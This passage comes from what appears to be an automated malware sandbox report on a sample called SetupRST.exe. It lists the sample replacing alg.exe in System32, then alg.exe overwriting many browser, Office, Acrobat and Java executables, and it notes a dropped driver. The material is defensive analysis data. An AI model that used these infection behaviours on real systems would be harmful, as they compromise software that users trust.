Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.sys

Jump to behavior

Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwEventLogMsg.dll	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.sys	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
